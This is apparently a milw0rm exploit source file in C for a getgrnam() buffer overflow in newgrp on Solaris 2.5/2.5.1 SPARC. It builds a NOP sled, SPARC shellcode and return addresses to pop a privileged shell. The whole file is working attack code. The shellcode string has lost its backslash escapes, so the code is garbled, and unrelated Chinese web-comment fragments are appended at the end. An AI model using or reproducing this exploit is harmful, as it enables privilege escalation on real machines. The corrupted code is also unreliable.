#include <stdio.h>
#include <sys/types.h>
/*
getgrnam() function overflow.
works against Solaris 2.5/2.5.1 (SPARC)
default offset should work.
Pablo Sor, Buenos Aires, Argentina.
[email protected]
*/
u_char shell[] =
"x82x10x20xcaxa6x1cxc0x13x90x0cxc0x13x92x0cxc0x13"
"xa6x04xe0x01x91xd4xffxffx2dx0bxd8x9axacx15xa1x6e"
"x2fx0bxdcxdax90x0bx80x0ex92x03xa0x08x94x1ax80x0a"
"x9cx03xa0x10xecx3bxbfxf0xdcx23xbfxf8xc0x23xbfxfc"
"x82x10x20x3bx91xd4xffxff";
u_long get_sp(void)
{
__asm__("mov %sp,%i0 n");
}
void main()
{
long *p;
long addr;
char buf[8300];
int i;
addr = get_sp()-8096;
printf("Jumping to address %pn",addr);
p = (long *) buf;
for (i=0;i<2050;++i) *(p++) = 0xa61cc013;
for (i=0;i<strlen(shell);++i) buf[104+i] = shell[i];
p = (long *) &buf[8160];
for (i=0;i<30;++i) *(p++) = addr;
buf[8280]=0;
execl("/usr/bin/newgrp","newgrp",buf,(char *)0);
}
// milw0rm.com [2001-01-13]
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666